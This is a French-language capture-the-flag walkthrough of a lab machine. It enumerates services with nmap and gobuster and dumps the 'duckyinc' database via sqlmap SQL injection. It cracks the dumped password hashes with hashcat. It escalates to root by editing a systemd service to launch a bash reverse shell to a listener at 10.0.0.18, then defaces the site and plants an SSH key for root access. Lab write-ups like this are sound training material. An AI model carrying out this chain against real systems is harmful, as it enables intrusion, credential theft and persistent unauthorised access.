Pour commencer l’énumération, on va lancer cette commande nmap.
Commande :
nmap -T5 -p- 10.10.24.208
Vu qu’il y a que deux ports d’ouverts, la seule chose à faire est de voir ce qu’il y a sur le site web.
Commande :
gobuster dir -u http://10.10.24.208 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
La page de login ne semble pas être injectable pour bypass auth.
En revanche, la page /products pourrait l’être.
On va essayer de voir si sqlmap trouve des vulnérabilités sur l’URL http://10.10.24.208/products/2
Commande :
sqlmap -u http://10.10.24.208/products/2
Plusieurs paramètres sont vulnérables :
[22:06:58] [INFO] URI parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[22:07:04] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
[22:07:30] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[22:07:50] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
A la fin de l’injection, sqlmap nous donne les commandes d’injection utilisé.
Maintenant que l’on sait que le site est vulnérable à SQLi, on va voir quels sont les bases de données à l’intérieur.
Commande :
sqlmap -u http://10.10.24.208/products/2 –dbms=MySQL –dbs
L’option –dbs permet de lister les databases existantes.
Avec le nom de la database, On va avec l’option –tables voir ce qui se trouve dans duckyinc
Commande :
sqlmap -u http://10.10.24.208/products/2 –dbms=MySQL -D duckyinc –tables
L’option –tables permet de lister les tables d’une db en l’occurrence celle de duckyinc
Une fois les tables listées, on va extraire ce qui s’y trouve avec l’option -dump
Commande :
sqlmap -u http://10.10.24.208/products/2 –dbms=MySQL -D duckyinc -T user -dump
sqlmap -u http://10.10.24.208/products/2 –dbms=MySQL -D duckyinc -T système_user -dump
J’ai commencé d’abord à vouloir cracker les mots de passe de la table user. C’est prend 25 jours rien qu’avec la wordlists rockyou. Finalement, après 30 minutes, seule le mot de passe du compte utilisateur dorgman a été cassé. En revanche, il ne sert à rien.
Commande :
.\hashcat64.exe -m 3200 -a 0 .\hash2.txt .\rockyou.txt
Ensuite j’ai essayé sur les comptes de la table system_user d’abord avec sadmin. Toujours avec la même commande :
.\hashcat64.exe -m 3200 -a 0 .\hash3.txt .\rockyou.txt
Note : les fichiers hash2.txt ou hash3.txt correspondent aux fichiers qui contiennent les hashes des dumps.
Récupération du flag
La première commande à faire pour l’énumération locale, c’est sudo -l
Pour résumer, l’utilisateur server-admin a des droits root pour relancer, démarrer … le service duckyinc.service. Il a surtout le droit de modifier le fichier de configuration.
Le site gtfobins nous donne un exemple pour élever nos privilèges.
Pour effectuer l’escalade de privilège, on va modifier le fichier avec la commande:
sudoedit /etc/systemd/system/duckyinc.service
On va le modifier pour envoyer un reverse_shell vers un écouteur nc.
Modification du fichier :
La page de @klockw3rk sur le site medium donne une idée de comment modifier le fichier.
On peut retirer les lignes suivantes :
User=flask-app
Group=www-data
WorkingDirectory=/var/www/duckyinc
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID
Et ajouter cette ligne :
bash -i >& /dev/tcp/10.0.0.18/8080 0>&1 à la ligne ExecStart=
Ainsi que :
User=root
Une fois la modification terminé, il faut faire ctrl + x puis y pour enregistrer
Relance du deamon :
sudo /bin/systemctl dameon-reload
Redémarrage de l’application:
sudo /bin/systemctl restart duckyinc.service
Si tout se passe correctement, on devrait obtenir un shell sur nc.
Il n’y a pas de flag dans le dossier root. Dans le message d’origine, il était noté qu’il fallait deface the web site.
Pour avoir le flag3, il suffit de faire echo test >> index.html .
Note : il est possible de se connecter en ssh sur le compte root en modifiant le fichier .ssh/authorized_keys.
il faut d’abord crée une paire de clé avec la commande ssh-keygen. Ensuite, il faut copier le contenu de id_rsa.pub dans authorized_keys du système victime.
Puis, il faut se connecter en ssh avec cette commande :
ssh root@10.10.24.208 -i id_rsa